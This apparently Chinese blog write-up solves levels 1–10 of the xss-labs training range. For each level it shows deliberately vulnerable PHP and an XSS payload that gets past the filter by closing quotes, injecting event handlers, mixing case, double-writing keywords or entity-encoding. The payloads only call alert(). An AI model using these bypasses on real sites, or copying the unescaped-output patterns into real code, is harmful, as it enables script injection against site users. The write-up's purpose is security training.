xss-labs靶场训练

发布于:2025-03-21 ⋅ 阅读:(36) ⋅ 点赞:(0)
Level1
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

通过查看源码我们发现他有一个GET传参,那么我们通过传参发现他将name值传到html页面的,也就是说他没有做任何过滤

那么我们可以直接插入一段js代码

http://127.0.0.1/xsslabs/level1.php?name=<script>alert(1)</script>

Level2

我们先插入js代码传参,发现他有两处可能触发,且第一处没有触发,做了实体转换,不再是标签,而是文本,不能利用

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

htmlspecialchars:将特殊字符转换为HTML实体

我们查看源码,证实了我们的想法,所以我们要使用第二处。通过查看源码,我们发现用闭合双引号来实现

第一种:
aaa" onclick="alert(1)        #需要点击,才会触发

第二种:
"> <script>alert(1)</script> <"

Level3

我们尝试用前两关的方法,结果都不行,我们查看源码,发现他使用了htmlspecialchars函数

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

我们查看官方文档发现,该函数有三种标识位,现在源码什么都没有设置,但是触发处是用单引号闭合的,所以我们使用单引号闭合就成功了

aaa' onclick='alert(1)
Level4

我们使用双引号闭合测试,发现通关了

aaa" onclick="alert(1)

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>

通过查看源码,我们发现他只限制了<>,没有其他过滤

拓展

当他限制不能使用交互式时,该如何解决

我们可以使用autofocus,autofocus是自动聚焦,所以不用点击就能触发

aaa" autofocus onfocus="alert(1)
Level5
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>

通过查看源码,我们发现他过滤了"<script","<scr_ipt","on","o_n",但是他没有过滤<>,所以我们可以考虑其他标签,比如:<a></a>

"> <a href=javascript:alert()>aaa</a> <"

Level6
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php 

提供查看源码,我们发现他在上一关的基础上还过滤了"src","data","href",但是我们发现他比上一关少了strtolower函数,所以我们可以利用大小写来触发

$str = strtolower($_GET["keyword"]);

"> <ScRipt>alert(1)</ScRipt> <"

Level7
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>

通过查看源码,我们发现比上一关多了大小写限制,所以我们可以用双写来触发

"> <a hrehreff=javascriscriptpt:alert()>aaa</a> <"

Level8
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>

通过查看源码,我们发现他在上一关的基础上,过滤了双引号,但是我们可以利用href的隐藏属性自动Unicode解码,编写一段伪js代码,用在线Unicode编码解码 - 码工具

javascript:alert()
编码:
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

Level9
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>

通过查看源码,我们发现他比上一关多了一个判断,是否有'http://',如果为false就会显示不合法,所以我们要在参数中添加'http://'

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/* http:// */        #要将http://注释掉

Level10
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

通过查看源码,我们发现GET传参到<h2>标签中,而且"t_link"、"t_history"、"t_sort"都是隐藏状态,但是t_sort接收到get传参的数据,然后再过滤掉<>,就没有其他限制了

/level10.php?keyword=aaa&t_sort=a" onclick=alert(1) type="text

#因为输入框被隐藏了,所以需要添加type="text"